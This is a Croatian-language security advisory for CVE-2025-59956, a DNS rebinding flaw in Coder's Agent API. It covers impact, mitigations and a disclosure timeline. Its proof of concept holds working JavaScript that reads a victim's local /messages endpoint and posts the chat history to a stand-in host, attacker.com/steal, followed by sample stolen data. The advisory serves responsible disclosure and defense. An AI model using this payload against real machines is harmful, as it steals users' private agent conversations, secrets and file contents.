Autor: Evan Harris
Zahvaćena komponenta: Coderov Agent API
CVE: CVE-2025-59956
CVSS 3.1 ocjena: 6.5 (Srednji) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Pregled

Coderov Agent API je HTTP API otvorenog koda za Claude Code, Goose, Aider, Gemini, Amp i Codex.

MCPSec je pronašao ranjivost DNS rebinding u Agent API-ju koja omogućuje udaljenim napadačima izvlačenje korisničke povijesti poruka u Claude Code.

Coder je otklonio ovaj problem u izdanju v0.4.0. Korisnici Agent API-ja trebali bi se ažurirati na ovu ili noviju verziju.

Utjecaj

Napadači dobivaju potpuni GET pristup krajnjoj točki /messages koju poslužuje Agent API.

To omogućuje neovlašteno izvlačenje osjetljivih korisničkih podataka, konkretno lokalne povijesti poruka koja može uključivati tajne ključeve, sadržaj datotečnog sustava i intelektualno vlasništvo na kojem korisnik radi lokalno.

DNS rebinding može se dogoditi u roku od nekoliko sekundi nakon povezivanja sa zlonamjernim web poslužiteljem.

Proof of Concept

Uzmite u obzir sljedeće pretpostavke:

  • Na stroju žrtve je pokrenut Agent API.
  • Žrtva se navigira na zlonamjerno web mjesto.
  • Web mjesto izvršava napad DNS rebinding kako bi manipuliralo web preglednikom žrtve da u ime napadača komunicira s ranjivim Agent API-jem.

Nakon što je DNS rebinding dovršen, napadač može konzumirati lokalno posluženu krajnju točku /messages. Cjelokupna povijest chata žrtve s Agent API-jem može se izvući na poslužitelj napadača.

MCPSec je proveo proof of concept napad na sljedeći način:

  1. Postavite aplikaciju za DNS rebinding (npr. Singularity of Origin).

  2. Konstruirajte korisni teret koji poslužuje zlonamjerno web mjesto radi dobivanja i izvlačenja podataka.

Ovaj JavaScript kod, poslužen sa zlonamjernog mjesta, dohvaća povijest poruka i šalje je napadaču.

const AgentAPI = () => {
  function attack(headers, cookie, body) {
    fetch('http://localhost:3284/messages', {
      method: 'GET',
      mode: "cors",
    }).then(response => {
      const ATTACKER_SERVER = 'https://attacker.com/steal'
      response.json().then(victimMessageHistory => {
        fetch(ATTACKER_SERVER, {
          method: 'POST',
          headers: {
            'Content-Type': 'application/json',
          },
          body: JSON.stringify(victimMessageHistory)
        }).then(r => {
          console.log("attacker server response", r)
        }).catch(e => {
          console.error('failed to post', e)
        })
      }).catch(e => {
        console.error('failed to parse response ', e)
      })
    }).catch(e => {
      console.error("failed to get messages", e)
    })
  }

  // Invoked to determine whether the rebinded service
  // is the one targeted by this payload. Must return true or false.
  async function isService(headers, cookie, body) {
    let controller = new AbortController();
    let signal = controller.signal;
    return timeout(1000, fetch(`http://localhost:3284/docs`, {
        mode: 'no-cors',
        credentials: 'omit',
        signal
      }), controller)
      .then(response => {
        return true;
      })
      .catch(e => {
        return (false);
      })
  }

  return {
    attack,
    isService
  }
}

Registry["AgentAPI"] = AgentAPI();

Krajnja točka /messages poslužuje se na lokalnom stroju žrtve i pri upitu odgovara njezinom poviješću chata.

  1. Napadač mora pokrenuti poslužitelj za prikupljanje podataka koji će primiti POST zahtjev. Sadržaj POST zahtjeva trebao bi biti odgovor krajnje točke /messages Agent API-ja žrtve.

Na stroju žrtve Agent API je dobio upit da pregleda lokalni datotečni sustav. Evo što je poslano na napadačev poslužitelj za prikupljanje podataka:

Slijedi primjer JSON podataka ukradenih od žrtve koja je pitala agenta o svom lokalnom datotečnom sustavu.

{
  "$schema": "http://localhost:3284/schemas/MessagesResponseBody.json",
  "messages": [{
    "id": 0,
    "content": "╭───────────────────────────────────────────────────╮ \n│ ✻ Welcome to Claude Code! │ \n│ │ \n│ /help for help, /status for your current setup │ \n│ │ \n│ cwd: /home/evan/Downloads │ \n╰───────────────────────────────────────────────────╯ \n \n ※ Tip: Press Esc twice to edit your previous messages ",
    "role": "agent",
    "time": "2025-07-25T11:20:04.988043205+02:00"
  }, {
    "id": 1,
    "content": "Hello, agent!",
    "role": "user",
    "time": "2025-07-25T13:11:16.699082236+02:00"
  }, {
    "id": 3,
    "content": "tell me about my filessytem",
    "role": "user",
    "time": "2025-07-25T13:14:51.120102556+02:00"
  }, {
    "id": 4,
    "content": "● I'll explore your filesystem to show you what's in your current directory \n and its structure. \n \n● List(.) \n ⎿ Listed 1048 paths (ctrl+r to expand) \n \n● Your Downloads directory contains a wide variety of files: \n \n Documents & PDFs [REDACTED_FOR_MY_OWN_SECURITY] The directory appears to be a typical developer's Downloads folder with a \n mix of tools, documents, and research materials, particularly focused on \n AI/ML security research.",
    "role": "agent",
    "time": "2025-07-25T13:15:10.681040365+02:00"
  }]
}

Preporučeno ublažavanje

Za korisnike (odmah)

  • Ažurirajte se na Agent API verziju v0.4.0 ili noviju odmah. Ova verzija sadrži ispravak ranjivosti.

Za razvojne programere (dugoročno)

  • Uvedite robusnu provjeru zaglavlja Host za sve lokalno poslužene HTTP API-je kako biste spriječili DNS rebinding.
  • Uvedite zaštitu od CSRF-a kako biste spriječili druge oblike međuizvornih napada.
  • Dodajte sigurnosna upozorenja u dokumentaciju za alate koji izlažu lokalne mrežne usluge.

Ova ranjivost prijavljena je timu Coder u sklopu praksi odgovorne objave. Coder je brzo reagirao i zakrpao problem.

Vremenski slijed objave

  • 2025-07-25: Prvotna prijava ranjivosti podnesena Coderu.
  • 2025-07-25: Coder potvrđuje primitak prijave.
  • 2025-07-29: Coder navodi da je uspio reproducirati i potvrditi scenarij napada.
  • 2025-08-13: Ranjivost je zakrpana.
  • 2025-08-21: Coder je odlučio dodijeliti sigurnosnu nagradu za prijavu.
  • 2025-09-09: Dogovoren obostrano prihvatljiv datum objave obavijesti.
  • 2025-09-19: Sigurnosna obavijest objavljena.

Zaključak

Ranjivost DNS rebinding u Coderovom Agent API-ju pokazuje ključni sigurnosni izazov za rastući ekosustav lokalnih razvojnih alata pokretanih umjetnom inteligencijom. Iako ovi alati nude moćne mogućnosti, moraju biti izgrađeni s razmišljanjem koje na prvo mjesto stavlja sigurnost kako bi se zaštitili od web prijetnji.

Pohvale timu Coder za njihovu brzu i profesionalnu reakciju pri krpanju ove ranjivosti. Svi korisnici Agent API-ja trebali bi se ažurirati na najnoviju verziju kako bi osigurali svoju zaštitu.

Reference